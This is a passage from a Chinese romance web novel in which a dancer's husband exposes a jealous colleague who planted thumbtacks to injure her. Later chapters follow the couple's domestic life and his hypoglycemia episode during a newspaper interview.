黎晚棠和苏清同时回头,就看见一身黑色西服的傅砚深走了进来,他强大的气场,瞬间将跟在身后的其他领导,成了他的陪衬。 放眼望去,人群中就属他耀眼夺目。 黎晚棠怔怔地盯着他朝自己走来,确定不是幻觉后,仰头笑问:“你怎么来了?” 看到他出现的那一瞬,她心跳骤然加快,像有鼓点在胸腔敲打,激动得想抱着他亲。 她焦躁无助的时候,他就这般无声息地从天而降。 无形之中,给足了她底气。 傅砚深步伐平稳地走到她面前,垂眸看她时,很自然地牵过她的手,并与她十指相扣。 “怕你受委屈,过来帮你撑腰。” 第36章 傅砚深这句话无疑是给她最大的底气。 黎晚棠偷瞥了眼脸色僵硬的苏团长,低头使劲憋笑,回握住他的指尖越发收紧。 灼热感与湿感相结合,这是他们两第一次十指相扣。 还是在那么多人面前,感觉很奇妙。 但是,她很安定。 因为身旁这个男人给了她足够的安全感。 黎晚棠本以为一同过来的只有团领导,没想到门外和窗户旁都挤满了同事。 看来领导们想压下去的事情,就这般轻而易举被傅砚深掀开了。 室内气氛僵滞片刻,苏清讪讪扯唇道:“傅先生,你说的证据是指……” 后面的话苏清没明说,而是偏头去看了眼,同样站在一旁的团领导,此时他们个个脸色紧绷,没人出来说一句话。 或许是对于傅砚深的突然出现,大家都很意外。 但可以肯定的是,眼前这位男人的身份和地位了得,不然也不会出动那么多领导。 思及此,她又偷瞥了眼,围绕在她办公室的其他舞蹈成员,心里暗叹一声,温若棠这次估计是保不住了。 只是可惜,舞蹈团即将少了位优秀上进的舞者。 “我手上有温晚棠故意谋害我老婆的证据。” 傅砚深说着,偏头去看跟进来的律师:“你把证据和证人都带进来。” 这话落下,仿如在平静的湖面上丢下一枚深水炸弹。 周围的议论声骤然响起,每个人脸上都带着不可思议。 故意谋害。 单独这几个字听着都让人细思极恐,他们舞蹈团里真有因嫉妒发疯,实行阴谋诡计之人。 而且万万没想到,这人竟然是温若棠。 团领导听到这话,纷纷面面相觑,似乎也不敢相信他们舞蹈团会存在这样的事。 律师点头,转身将证人和证据一同带到众人面前。 只是当大家看到证人是罗恩的时候,诧异地睁大眼睛。 黎晚棠也震惊地望向他,动了动唇角:“师哥,你……是证人?” 罗恩愧疚地看了眼她,微垂下眸:“晚棠,对不起,我到现在才说出真相。” 那天也是赶巧,他正在跟朋友视频聊天,朋友说想看看他们舞蹈团长什么样,他就把前置摄像头调转方向,可就在这时,镜头里出现温若棠神色慌张的身影,而她手里还拿着一盒东西。 物品不大,被她握在手里看不清,罗恩以为她是发生了什么事,想上前帮忙,可追过去看到的场景,让他脚步忽顿。 温若棠忙把手里的盒子打开,而后高高举起,下一秒,无数个图钉从半空坠落,撒满一地。 接着她蹲下身,将图钉尖头整齐朝上,霎时间,无数根铁钉尖头,仿如拔地而起的刺刀。 罗恩不懂她这番举动是要干嘛,只是没等他想清楚,温若棠又急匆匆地跑了出来。 罗恩下意识转身离开,等来到无人的安全通道,半天没说话的朋友,突然出声:“我去!你们舞蹈团还流行设计陷阱呢。” “陷阱?” 罗恩微皱起眉眼,片刻后,出声解释:“她或许是练舞需要,怎么会是陷阱。” 他不相信温若棠是这样的人,他们一起排练的时候,她看到虫子都会吓得尖叫,又怎么会做如此阴暗之事。 朋友不厚道地笑出声:“你们练舞还需要这样的道具,不知道的还以为是魔术表演呢。” 罗恩听着朋友开玩笑的话,猛然意识到什么,脸色瞬间沉了下来。 对呀,他们排练舞蹈什么时候需要用到图钉。 不好的预感在心中蔓延,罗恩忙跟朋友挂断视频,转身就要忙往休息室走。 恰好这时,他就看到白露晞带着秦医生急匆匆赶来。 罗恩急忙跟了进去,看到是黎晚棠受伤时,那颗心瞬间揪了起来。 原来真是陷阱。 当时团长问是谁,他脑子很乱就没吱声。 见黎晚棠坚持要带伤出演,他恍然站出来,内心极其想代替她上台。 可最后,他只能眼睁睁看着黎晚棠上台表演,直到她下台昏倒,罗恩再也忍不住,转身去找温若棠当面质问。 起初温若棠是震惊的,眼底的慌张根本藏不住,或许是没想到,他会撞见她犯罪的全过程。 可她慌张过后,就立马跪下来求他,说了很多迫不得已的话,求他帮忙保密。 罗恩盯着哭得泣不成声的人,纠结的闭上眼,许久,点头答应了她的请求。 苏清听完罗恩这番话,就算现在不用去看证据,也清楚温若棠昨天是跟她撒谎了。 她把故意伤害,说成是场意外。 而且就在刚刚,她还为她向黎晚棠说情。 现在想想,行为极其可笑。 其他领导也是一脸不敢置信,最后有懂得看眼色的领导气愤出声,让人去把温若棠带过来。 黎晚棠垂着头,平静的眸子不知在想些什么,身旁的傅砚深见状,轻晃了晃她的手:“需要坐下来休息一下吗?” 黎晚棠抬头时,余光瞧见大家都朝他们这看来,羞涩摇头:“不用,我不累。” 知道他是在关心她脚伤,心口暖暖的。 很快,门外响起窃窃私语的讨论声,接着两旁人自动让出一条道,温若棠的身影出现在大家面前。 只是当她看到罗恩在场的那一刻,脸色惨白,不用想,他肯定已经把真相说出来了。 尽管如此,她快速收敛情绪,故作镇定地走到苏清面前:“团长,你找我有事。” 此刻苏清脸色很不好看,抬头定定地看着她,冷声质问:“若棠,你为什么要说谎?” 扑通一声,温若棠瞬间瘫坐在地板上,脸上的从容镇定早已消失不见,这会儿只留下惊慌失措。 众人看到这一幕,还有什么不明白,她的心虚已经尽显。 其中有位团领导,快步走了过来,客套出声:“傅先生,对于这件事,你想怎么处理?” 傅砚深淡漠地瞥了眼那人,目光落在黎晚棠身上时,只剩下柔和:“这个问题,你应该问我老婆,她才是这次事件的受害者。” 再次听到他喊自己老婆,黎晚棠压下心里的悸动,面色淡然地看向团领导:“她既然是故意伤害,就交给警察来处理吧。” 得知要闹到警局,领导们张口结舌地互看了眼,似乎没想到这事会闹那么大,可刚有人要出声,对上傅砚深清冷的目光,又默默退了回去。 眼神太有压迫感。 主要这人,他们不敢惹,何况这事人家占理。 团领导都不出声,温若棠瞬间慌了起来:“团长,我知道错了,求求各位领导再给我一次机会,我以后再也不敢了!” 苏清避开她的视线,有种恨铁不成钢的气愤。 温若棠见大家都不理自己,快速转身,连滚带爬地来到黎晚棠面前,磕头跟她道歉:“黎晚棠对不起,是我嫉妒疯了才会干这种蠢事,求你原谅我这一次,我还想继续跳舞,你别毁掉我行不行,我求你了。” 黎晚棠盯着不停跟她磕头的人,别过头深吸一口气后,再次垂眸看着她:“温若棠,毁掉你的人不是我,而是你自己。” “你心里应该清楚,你做错的事情不只是这一件,我给过你机会,是你自己要作死,现在谁也救不了你。” 苏州那件事她忍了,关灯的事情她也忍了,这次脚底受伤她不会再忍,有些人已经坏到骨子里,给她再多机会都救不回来。 何况,她也不是圣母。 温若棠还想求情,这时候门外有警察走了进来,问清楚这件事的前因后果,直接把温若棠带走。 黎晚棠作为受害者,当然也得跟着去录口供,傅砚深带着律师,陪着她一起去。 罗恩作为证人,也默默上了警车。 抵达警局,有证人和证据面前,温若棠无从反驳,老实交代了作案的全过程。 后期温若棠怎么处罚的黎晚棠不清楚,她只知道,团里当天就把她从舞蹈团除名了。 有过这样的事迹,就算温若棠从警局里出来,也不会有舞蹈团要她。 她的舞蹈生涯,也会因此结束。 黎晚棠这边做完笔录出来,撞见走廊上的罗恩,看样子他是特意在这等她的。 迟疑了会儿,她抬脚走了过去:“师哥,你有话要跟我说。” 罗恩垂眸看着她,脸上依旧是一副愧疚的模样:“晚棠,你怪我吗?” 他其实很后悔,就算站出来当这个证人,也改变不了,他包庇过温若棠的行为。 黎晚棠很轻地笑了下:“师哥,应该是我谢谢你,没有你出来作证,恐怕这次事件就会成为意外。” 罗恩闭了闭眼:“晚棠,对不起。” 黎晚棠刚要开口,傅砚深的声音先传了过来:“棠棠,可以走了吗?” 这声“棠棠”让她猛然回头,当看到站在不远处的傅砚深,她嘴角控制不住地往上翘。 今天被他各种称呼惊到,对上男人那双深邃意的黑眸时,她弯唇笑道:“好,马上。” 黎晚棠收回视线,抬头去看罗恩:“师哥,你没有对不起我,但我们的情谊只能走到这里了。” 从他开始帮温若棠的那一刻起,他已经做出了选择。 说完这句,黎晚棠没再停留,快速转身,笑容满面地朝傅砚深跑了过去。 罗恩怔怔地站在原地,望着离他越来越远的女孩,他知道,从现在开始,他是彻底把她弄丢了。 傅砚深不动声色地扫了眼,已经被失落笼罩的罗恩,当黎晚棠跑到他身旁时,他忽而伸出手扣住她的腰,随着罗恩移动的目光,将人带出他的视线。 她是他的,从一开始就是。 黎晚棠完全没察觉傅砚深的这一举动,笑吟吟地跟着他走出警局门口。 走下台阶时,她忽而回头。 傅砚深见她停下来,也顺着她的目光抬头:“看什么呢?” 黎晚棠偏头瞥他一眼,视线又落在警局门口的那排大字上:“还记得,你上次跟我出入警局是什么时候?” 傅砚深挑眉,而后明白过来她的意思:“永远不会忘。” 黎晚棠失笑,而后转过身看着他,回想起之前欠他的那句谢谢,她快速踮脚在他唇上亲了下。 “傅砚深,谢谢你,再一次帮我伸张正义。” 她现在相信,有些缘分是上天注定好的。 踏着七彩祥云朝她走来的那个人,其实一直都在她身边。 傅砚深轻抿了下唇瓣残留的温度,望着眼前的女孩,唇角轻勾:“我很荣幸,成为帮你伸张正义的那个人。”- 温若棠的事件翻篇后,黎晚棠生活重新步入正轨,最近都在准备迎接国际比赛。 根据比赛的主题,她需要创排一支新的舞蹈,一同跟她创作的编导老师,依旧是林薇。 这次比赛,她也会全程陪着黎晚棠参加。 这段时间,两个人经常待在排练厅,一练就是一整天,有时候太投入连饭都会忘记吃。 傅砚深几次给她打电话发现这个情况,不放心她,所以每次都会过来接她下班。 也算是侧面监督,不允许她高强度排练。 黎晚棠自然是乖乖听话,也想在出国比赛前,珍惜她和傅砚深相处的每一天。 刚上车,黎晚棠偏头笑呵呵地问:“等很久了吗?” “还行,十分钟没到。” 傅砚深见她系好安全带,驱车离开。 黎晚棠上车就在说话,把一天排练的趣事全跟他分享。 傅砚深认真开车的同时,耳边听着她叽叽喳喳说个不停,嘴角一直噙着浅笑。 以前就知道她爱说话,每次跟望舒在一起时,两人都有聊不完的话题,可只要看到他出现,她就立马变得沉默起来。 他知道,女孩是有点怕他,尽管他从未对她说过一句重话。 可如今,她也能跟他敞开心扉,聊各种话题。 抵达臻品豪庭,两人下车后,黎晚棠嘴里还在说,能看出来她今天心情很好。 见她转身兀自往电梯间走,傅砚深突然出声:“你还有东西没拿。” 黎晚棠脚步忽顿,扭头下意识去看他肩上的背包,见背包稳稳挂在他肩头,不解微皱。 她除了一个背包,也没别的东西。 “背包不是你拿着吗,还忘拿什么了?”她疑惑问。 “在后备厢,你自己过来看看。” 说着,傅砚深缓缓朝她伸手,两人刚靠近到车尾,后备箱的门便自动打开,一束超大的拉夫拉百合出现在她眼前,香味瞬间弥漫整个车厢。 黎晚棠惊诧地睁大眼睛,接着捂嘴不敢相信般去看傅砚深,几秒后,目光又重新落在那束百合上。 好半天,她才回过神,这不是她的幻觉,傅砚深是真给她送花了,还用这种浪漫的方式,给她一个意想不到的惊喜。 黎晚棠抿了抿唇,压住那颗狂跳的心,仰头怔怔地望着他:“你怎么知道,我喜欢拉夫拉百合?” “妈说你表演那么多次,我都没给你送过花,这次补上。” 傅砚深弯腰把后备箱的百合抱了出来,转手送给她:“至于我为什么知道,纯属猜的。” 早在五年前,他就知道,她喜欢的花是百合。 还是市面上很少见的拉夫拉。 黎晚棠喜笑吟吟地接过,低头用力吸了口气,满鼻子的花香。 她看了看怀里的百合,又抬头去看眼前的男人,微眯眼,似乎一点也不信他是猜的。 肯定是偷偷问了沈老师。 黎晚棠又闻了闻,爱不释手道:“谢谢,这是我收到过最喜欢的一束花。” 傅砚深轻轻扯唇,跟着她往电梯间走:“上次情人节收到的玫瑰,难道不喜欢?” “当然喜欢。” 黎晚棠看他一眼,视线又落在花上:“但这次有惊喜加分,所以我更加喜欢。” 两人进入电梯,傅砚深伸手按下楼层键,睡眸时,瞥见女孩那抹一直上扬的嘴角,薄唇也很浅地勾起。 回到家,黎晚棠先去找花瓶将百合插上,傅砚深则去准备晚餐。 等黎晚棠插好花,又拍了几张照片,心情美美的发了个朋友圈。 很快,沈老师和她婆婆各自点了个赞。 沈听荷还评论说是不是傅砚深送的,她还来不及回复,宋徽音先把答案说了出来。 不用问,当然是我儿子。 黎晚棠盯着这句话,捧着手机笑倒在沙发,她婆婆终于不是嫌弃傅砚深的口吻,从文字上还看出几分骄傲。 傅砚深将饭菜端上桌,偏头喊她:“过来吃饭。” “哦,来啦。” 黎晚棠放下手机,快步跑了过去,顺便把朋友圈的事跟他说了:“现在你在妈眼里,特别优秀。” 傅砚深抬手给她夹菜:“在我妈眼里,我优不优秀,完全取决于我对你的态度。” 黎晚棠饶有兴致抬头看他,忽而笑道:“所以,你想不想当一个优秀的儿子?” 傅砚深黑眸忽深,目光直白地看着她:“其实我,更想当一个优秀的老公。” 黎晚棠笑容愣住,察觉脸颊越来越烫,立马低下头,轻咬着筷子笑了起来。 犯规了啊,这还是古板沉闷的傅砚深吗。 这句话能把她撩晕。 现在就连嘴里咀嚼的凉拌苦菊,都冒出丝丝甜味。 饭后,黎晚棠泡完脚,没去舞蹈室练习,而是坐在沙发上看电视。 劳逸结合,她不想让自己的情绪处于紧绷的状态。 傅砚深饭后接了个工作电话,回书房后就一直没出来。 黎晚棠边吃着坚果,边不时回头看了眼书房,但是没进去打扰他。 正当她看电视入神时,耳旁忽然有声音传来:“在看什么呢?” 黎晚棠下意识抬头,傅砚深已经绕过沙发,落座在她旁边。 “一部文艺片。” 身旁沙发凹陷,黎晚棠察觉两人此刻靠得很近,肩挨着肩:“……你忙完了?” “嗯。” 傅砚深见她在吃开心果,弯腰从果盘里抓起一把,低头帮她剥壳后,又把所有果肉递给她:“别吃太多,会上火。” “还好,我最近在团里经常吃,多喝水就行。” 她在戒糖,嘴里没味,就买了很多坚果。 黎晚棠盯着掌心里白胖胖的果肉,笑着往嘴里放了颗,偏头瞥了眼身旁的人,忽而拿起一颗送到他嘴边:“你也尝尝,这个特别脆。” 傅砚深垂眸看了眼,犹豫了会儿,张嘴吃了进去。 指尖从他唇瓣划过,黎晚棠低头看时,总感觉指尖还残留他舌尖触碰的余温。 毕竟湿润感还在。 她无声弯唇,再次拿起一颗放入嘴中,两人就这般默默吃着,眼睛盯着前方屏幕看。 黎晚棠看着闪动的屏幕弯唇幻想,如果关掉灯光,这种感觉就像坐在电影院,他们也是其中的一对情侣。 她偷瞥了眼认真看电视的男人,昂起的脑袋一点点侧偏,而后动作极轻地搭在他肩膀上。 眼睛盯着电视,呼吸却变得小心翼翼。 察觉肩头的重量,傅砚深下意识低头,从这个角度只能看到女孩纤长的睫毛,以及挺翘的鼻子。 停顿了会儿,他侧身往女孩那边靠了靠,让她枕得更舒服些,再抬头看着屏幕时,眼底藏着柔光- 之前答应叶知薇的采访,正好是这个周二。 萧仲亲自联系的叶知薇,把采访时间安排在了中午。 前几日傅砚深在家办公室,耽误了很多工作,上班后就四处忙着应酬谈项目,因为要准时下班,所以只能利用午休时间,接受叶知薇的采访。 时间上卡得很死,只给他们两个小时。 叶知薇得知这个消息,激动不已,早早准备好了采访室,采访提纲也提前交给主编审核。 现在万事俱备,就等傅砚深过来。 等待期间,叶知薇想了想,还是给黎晚棠发了条信息:“棠宝,等会儿我就要采访你家傅砚深,你要不要过来看看。” 若是私下跟傅砚深接触,她没什么拘束感,可知道他在工作上的严谨认真,一板一眼的气场沉冷,她还是有点怵。 把黎晚棠叫过来,起码有她在,气氛能活跃点。 黎晚棠收到叶知薇这条信息时,刚洗完澡出来,她盯着手机沉默了会儿,快速回了句:“我过去,不会影响到你们的工作吗?” 可能是从未见过傅砚深工作时的样子,叶知薇发出邀约,她内心有点蠢蠢欲动。 叶知薇:“影响不了,多你一个观众也不影响采访流程,快来吧,到楼下我让同事去接你。” 见她这么说,黎晚棠没再犹豫,回了个好,换上衣服就往外走。 从舞蹈团去报社要四十分钟的路程,黎晚棠抵达时,在一楼大厅等着她的女孩,快步走了过来。 “你好,你是知薇姐的朋友吧,我是她的同事,知薇姐现在正在采访,要我带你上去。” 黎晚棠笑着点头:“那麻烦你了。” “不麻烦,反正我中午待着也没事干。” 女孩是刚来报社实习的,现在是叶知薇在带她,看到黎晚棠的第一眼总感觉她有些熟悉。 直到两人进入电梯,女孩忍不住问:“……你是不是跳《丹青》的那个舞蹈演员?” 黎晚棠愣了下,随即笑出声:“你看过我的舞蹈视频?” “看过,前阵子在网上很火的,原来真的是你啊。” 女孩有些激动,感觉跟看到明星似的,忍不住捂嘴:“没想到,你还是知薇姐的朋友。” 黎晚棠笑了笑:“嗯,我们是很好的闺蜜。” 说话间,电梯抵达报社门口,女孩收敛笑意,一本正经把人带进采访室。 此时周边围着很多人,而且女性较多,估计都是奔着傅砚深来的。 因为需要安静,大家只能隔着玻璃偷看。 黎晚棠的突然出现,不少人回头看来,不清楚她的身份,只弯唇笑了笑。 恰好这时,萧仲快步走了过来:“太太,您怎么来了?” 他并没听傅总说起,这次采访太太也会来。 其他人听到这话,又纷纷把目光放在黎晚棠身上,多数人都诧异地睁大眼睛,或许没想到这位就是传说中的傅太太。 看到她的第一眼只觉得很好看,身材也好,殊不知竟是傅砚深的妻子。 大家瞬间客气起来,黎晚棠怕影响到里面的采访,弯唇朝大家笑笑。 等她靠近萧仲旁边时,轻声问:“萧助理,傅砚深中午吃饭了吗?” “没有,这个采访傅总是抽出时间赶过来的。” 萧仲不敢隐瞒,实话实说。 黎晚棠抿了抿唇,又往前走了两步,偏头透过玻璃窗,看见一身黑色西服的傅砚深,以及一身米白色套装的叶知薇。 傅砚深脸上表情认真,回答问题也是一板一眼,可能是上镜需求,头上黑发用哑光发蜡抓出不经意的纹理,露出的侧脸线条,在灯光下形成恰到好处的阴影效果。 黎晚棠眉眼温柔地盯着他看,忽然觉得,认真工作的男人真有魅力。 只是看着看着,她发现傅砚深脸色越发不对劲,唇瓣也逐渐变得惨白。 正在采访他的叶知薇也察觉到了异样,刚要问他是不是哪里不舒服时,下一秒,傅砚深身形往一旁晃了晃。 工作人员察觉不对,立马停止采访,大家急忙上前去扶住他。 黎晚棠也在这个时候冲了进去,看到闭眼半躺在沙发上的男人,急得惊呼出声:“傅砚深!” 第37章 对于傅砚深突然出现晕眩的情况,采访室内的工作人员吓得一片慌乱。 深怕这位大佬是因为他们的原因,而出的事。 黎晚棠从人群中挤了进去,神色慌张地跑到傅砚深身旁,靠近才发现他额头上全是汗珠,脸色泛白。 她忙俯身去帮他擦汗,声音里带着微颤:“傅砚深,你是哪里不舒服?” 黎晚棠完全不知道怎么回事,平日看他身体挺好的,还常常健身,现在突然这样,真的有点吓到她了:“不行,我们现在就去医院!” 傅砚深微仰着头,耳边只能听到黎晚棠急切的声音,眼前发黑根本看不清她脸上神情,整个人处于晕眩无力的状态,没办法回答她的问题。 就在这时,萧仲慌里慌张地跑了进来,听到黎晚棠说要去医院,他忙开口解释:“太太,傅总没事,只是低血糖犯了,现在需要补充糖分。” 之前他也碰见过一次,当时傅总没有今天这般严重,后来才知道是低血糖。 傅总平日不吃任何甜食,加上中午没吃饭就过来采访,才会出现这种情况。 低血糖? 黎晚棠低头打量傅砚深此时的状态,立马明白过来,她忙偏头去看一旁的叶知薇。 “知薇,你马上去找含糖的食物过来,任何甜的都行。” 叶知薇脸上表情慌张无措,明显也是被傅砚深吓到了,毕竟是她约的采访,若真出什么事,她没法面对黎晚棠。 现在听她这么说,立马就要转身去找,只是她刚走几步又忽而回头:“棠棠,你平时不是随身携带糖吗,背包放哪里我去拿?” 黎晚棠急得不行:“我早戒了,你赶紧去找。” “好好好,我这就去。” 叶知薇没细问,快步跑出采访室,着急忙慌喊着谁有糖。 可是很多人都只有面包饼干之类的,根本没人带糖。 听到没有一样是甜的,叶知薇忽然想到自己工位上的止咳糖浆,立马拿着跑进采访室:“棠棠,我前几天买的止咳糖浆行不行,还没喝过的。” “行,快给我。” 黎晚棠抬手接过,急忙拧开放在傅砚深嘴边,却见他抗拒的别回头,知道这是他的应激反应,她想也没想,仰头喝了一大口,低头吻住他的唇,渡入他嘴中。 接着,她偏头轻声哄着:“傅砚深听话,乖乖喝掉。” 叶知薇以及其他同事见状,不好意思地别回头,见大家都还围在这里,她轻咳几声,抬手赶人:“大家先出去吧,都堵在这里空气不流通。” 很快,原本乌泱泱的一群人,迅速回到自己的工位。 萧仲见傅总逐渐清醒,缓缓关上房门,把空间留给他们。 喝了半瓶止咳糖浆,傅砚深昏眩症状有所好转,体力也慢慢恢复,他缓缓睁开眼,抬手在黎晚棠唇瓣上轻轻划过:“你怎么过来了?” 说话的声音,听着比平时少了些力气。 “原本是想过来看你工作的,哪承想碰到你低血糖犯了。” 黎晚棠又继续帮他擦汗,埋怨道:“你为什么不按时吃饭?” 他平时戒糖,甜的东西一律不碰,现在没吃东西就赶过来采访,身体肯定就受不了。 “早上的工作耽误了些时间,跟你朋友约好一点开始采访,我不能迟到。” 傅砚深见她气得眼睛都红了,指腹在她眼角轻揉着:“别生气,下次保证不这样。” “你可以晚一点到的呀,非要那么守时干嘛。”黎晚棠在他面前蹲下,语气又柔了下来:“现在感觉怎么样,要去医院看看吗?” 她还是不放心,怕他身体还存在别的隐患。 “没事,就是低血糖犯了,休息一会儿就好。” 傅砚深察觉嘴里还残留着一股甜腻的味道,低声说:“嘴里太甜了,给我拿瓶水。” 黎晚棠侧身从桌上拿过一瓶水,拧开后递给他,想到他刚才的抗拒,又气笑了:“你开始还不喝呢,是我强喂进去的。” 傅砚深喝了半瓶水,拧上瓶盖后,垂眸看她:“哦,你怎么喂的?” “……” 黎晚棠诧异抬眸,他既然在装傻。 她明明喂第二口糖浆的时候,他舌尖还碰了她的唇。 这才过了多久,这人竟然面不改色地说出这种话,真是个道貌岸然的家伙。 黎晚棠站起身,故意说道:“当然萧仲,他帮忙喂的。” 傅砚深盯着女孩眼底那抹讪笑,没再逗她,坐直后,低头整理好身上的衣服,又把萧仲叫了进来。 得知他还要继续采访,黎晚棠刚要出声劝说,但想到这就是傅砚深的工作态度,又默默把话咽了回去。 他为了能准时采访,不顾低血糖的风险,如果这次采访没完成,估计他也不会安心。 半个小时后,采访结束,叶知薇亲自把他们送楼下,感激淋漓地道谢:“妹夫,你这么敬业,我都不知说什么好了。” 傅砚深当时的状态都那样了,还坚持采访,叶知薇对他瞬间生出崇拜之心。 “应该的,不必客气。” 傅砚深停顿了会儿,偏头去看身旁的黎晚棠:“何况,我答应过棠棠,不能食言。” 话落,叶知薇朝黎晚棠偷摸摸地眨了眨眼:看看,多好的男人,好好珍惜吧。 _ 回去之前,他们先去附近的餐厅吃午饭。 饭后,傅砚深坚持要送黎晚棠回舞团。 上车后,他偏头问:“要不要睡一会儿?” 黎晚棠轻轻摇头,却还是把脑袋靠在他手臂上,目光盯着窗外不知在想什么。 萧仲目不转睛盯着前方路况,努力降低自己的存在,安静的车厢内,没有一个人说话。 傅砚深垂眸看了眼身旁的女孩,犹豫片刻,低声开口:“不想问问,我为什么会犯低血糖?” 闻言,黎晚棠忽而抬头看他。 傅砚深与她对视一眼后,平静地看向前方:“我们傅家有家族遗传的糖尿病,这点只在我跟父亲身上体现,我每年都会去体检,血糖也会按时监测,空腹血糖从来没超过6.0,控制得很好。” 说着,他低头去看黎晚棠:“但我不敢保证,以后我们的孩子会不会遗传。” 黎晚棠眼皮猛跳了下,这事她真的从来没考虑过,之前跟他结婚想着就是搭伙过日子,生孩子的事之前也说好了,近几年不会考虑。 就算她从宋徽音那里得知,傅家有遗传的糖尿病史,她也没想过会不会遗传给下一代。 如今听他这么说,她摸不准他是什么意思。 黎晚棠扯唇:“我觉得你现在想得有点远。” 她指的不是生孩子,而是遗传的几率。 这种事讲究概率,况且还隔了好几代,所以现在说是尚早。 傅砚深晦暗不明的目光盯着她看了好一会儿,而后轻轻点头:“嗯,是有点早。” 婚前她就说过,生孩子的事不会那么早,他也尊重她的意愿,她想什么时候,就什么时候。 如果不生,他也不勉强,反正他有她就够了。 黎晚棠不知道傅砚深完全误解了她的话,只是感觉他说完这些话后,一股淡淡的忧伤在车内蔓延,气氛有些低沉。 车子抵达舞团门口,黎晚棠下车前,叮嘱他注意身体,不舒服一定要停下来休息。 傅砚深笑着点头,听着她絮絮叨叨的声音,心里如有温泉流淌而过,温暖至极。 这还是除了他母亲,第二个这么关心他身体的人。 等车尾灯彻底消失不见,黎晚棠转身时,嘴角笑意忽敛。 这一路,她明显感觉到傅砚深的情绪很低落。 或许是心里有事,下午的排练黎晚棠舞步频频出错,状态明显不在线。 林薇见她状态不好,出声喊停:“晚棠,今天先这样吧,你回去好好休息一下。” 黎晚棠停下脚步回头,也知道自己状态不好,扯唇点头:“不好意思林编导,耽误你的时间。” “说什么呢,是人都会疲惫。” 林薇笑着拍了拍她后背,安慰道:“回家好好休息,希望明天能看到一个生龙活虎的你。” 黎晚棠笑着点头,换上衣服出了舞团,她没回家,而是开车去了商场- 傅砚深下班准备去接黎晚棠,却先收到她发来的消息,说她已经回家了。 他盯着信息皱了皱眉,不清楚她今天为什么会那么早下班,心里带着疑惑,无意识加大油门。 二十分钟不到,傅砚深输入密码推开房门,映入眼帘的是一堆购物袋。 从玄关到客厅,各式各样的,甚至有的还没打开。 傅砚深换上拖鞋,低头看了眼脚边的这些袋子,忍住要收拾的冲动,先进屋去找人。 恰好这时,黎晚棠从房间出来,看到他回来了,笑着朝他招手:“下班了,快过来。” “你提前下班,是去购物了?” 傅砚深把脱掉的外套轻轻搭在沙发扶手上,避开那些袋子走到她面前,低声询问:“怎么了?” “来,先坐下再说。” 黎晚棠拉着他落坐在沙发上,弯腰拿过跟前的购物袋放腿上,低头将里面的东西拿了出来:“这些是我特意去实体店挑选的无糖饼干,还有面包什么的,反正种类蛮多的,你要是忙到没时间吃饭,可以吃这些垫肚子,这样就不会犯低血糖。” 她回头指了指客厅那些:“这边的也是,你家里放一些,办公室里也放一些,这样饿了能随时吃。” 抬头瞧见傅砚深微蹙的眉头,她板起脸严肃道:“拒绝说不。” 傅砚深低头扫了眼袋子里那些吃的,无奈道:“可我平时,真不吃这些。” 知道她是在关心自己,但他并没有吃零食的习惯。 “没关系,那你从现在开始,学着吃。” 黎晚棠在买这些东西的时候,就想到傅砚深会抗拒,但为了他的健康,语气坚决:“你常常教育我要注重身体健康,可你却没做到,所以现在由我来监督你。” 傅砚深盯着她这般严肃的模样,没忍住勾唇:“像今天这种事,我目前只出现过二次。” 今天这个意外,其实没有她想得那么严重。 而且,他平时也很注意。 “你看,你都说这是第二次了,说明这样的意外随时可能发生。” 黎晚棠不容置疑道:“就按照我说的做,这事你没有拒绝的权利。” 傅砚深直接笑了:“这么霸道?” 黎晚棠傲娇地扬了扬眉:“嗯哼,忘了吗,你以前给我立规矩的时候,态度也这样。” 别说,这感觉还挺爽。 傅砚深觉得这事,他现在需要解释一下:“其实不是,只是我不爱笑,显得严肃了点。” “别解释,当时你给我的感觉就是这样。”黎晚棠轻声嘟囔,完全不接受他这番说辞。 “……” 傅砚深瞬间闭嘴,并坦然接受。 黎晚棠见他这憋屈样有点想笑,忙起身拿过另外一个袋子:“这几袋需要分开放,这些是低血糖犯的时候,应急的甜食。” 想到今天在报社,找遍了都没有什么糖果,最后不得已才用止咳糖浆,所以这些应急的东西,也需要备着。 “我知道你不喜欢吃甜食,但这些可以以防万一。” 黎晚棠见他要反驳,忙说道:“别说你控制得很好那些话,世事无常,有些意外谁也预料不到。” 傅砚深盯着眼前的女孩,心里早已暖得一塌糊涂,其实他不是要反驳,而是想说,他办公室里备有甜食,有过低血糖的情况,所以关乎健康的问题,他不敢再大意。 最后他什么也不说,只轻轻点头:“好。” 见他那么听话,黎晚棠弯唇笑了,总算没有白费她买的这些东西:“那我把这些分类整理好,明天你拿去公司。” 黎晚棠起身去收拾,傅砚深也站了起来:“我帮你。” 黎晚棠没拒绝,他要是跟着一起分类,知道得也会清楚一些。 两人分工合作收拾得很快,傅砚深整理完,就去厨房做晚餐。 黎晚棠泡完脚,菜已经做好了。 饭后,傅砚深去书房处理公事,黎晚棠则是回房洗澡。 出来后,她便低头一直研究傅砚深送她的那块运动手表。 今天她特意去实体店问了销售人员,这块手表有监测血糖的功能,之前只是没调试出来。 现在发现还可以数据共享,她也能实时监控傅砚深血糖的情况。 傅砚深推门进来,见她坐在床头,正专心致志盯着手表看,抬步朝她走了过去:“研究什么呢?” 黎晚棠忽而抬头,见他已经洗好澡,笑着掀开被子:“你来得正好,我帮你调一下手表。” 虽然不知道她要干嘛,傅砚深还是取下来递给她:“发现新功能了?” “嗯,我下午去店里问了,工作人员说这款运动手表能监测血糖。” 黎晚棠边说边点开,发现他界面上有血糖监测的数据,而且显示都很正常。 她诧异抬头:“原来你早调出来了。” 傅砚深如实回答:“嗯,最近一直是用手表监测。” “哦,那就好。” 黎晚棠继续往上翻,看到今早的数据不到2.5,眉头瞬间皱了起来,难怪他会出现低血糖的情况,这个数值是有点低。 她点开数据共享,偏头看了眼她的手表,两人对接成功:“好了,现在我们数据已经共享成功,以后换我来监督你的血糖。” 以前是他监督她的运动量,呵护她的膝盖,现在换她来监督他的健康。 傅砚深低头看了眼,黑眸闪过一丝微妙的情绪,片刻,抬眸看她:“黎晚棠。” “嗯。” 黎晚棠下意识抬头,当看到他那张严肃且认真的面容时,轻抿了抿唇:“怎么了?” “你害怕吗?”傅砚深问。 黎晚棠指尖微收,不懂他所谓的害怕指的是什么,她咽了咽喉:“害怕什么?” “怕我会像爷爷那样,突然在某一个早晨,与这个世界告别。” 傅砚深看着她,其实很想问,是否害怕与他分别。 他清楚记得,爷爷去世的前一晚,他们还在书房下棋,爷爷还夸他棋艺越来越好,次日醒来,就听到母亲说,爷爷突发心梗死亡。 原因竟是爷爷多年的糖尿病所引发。 也就是那时候起,他才真正意识到,糖尿病是他身体里面一个隐形危害。 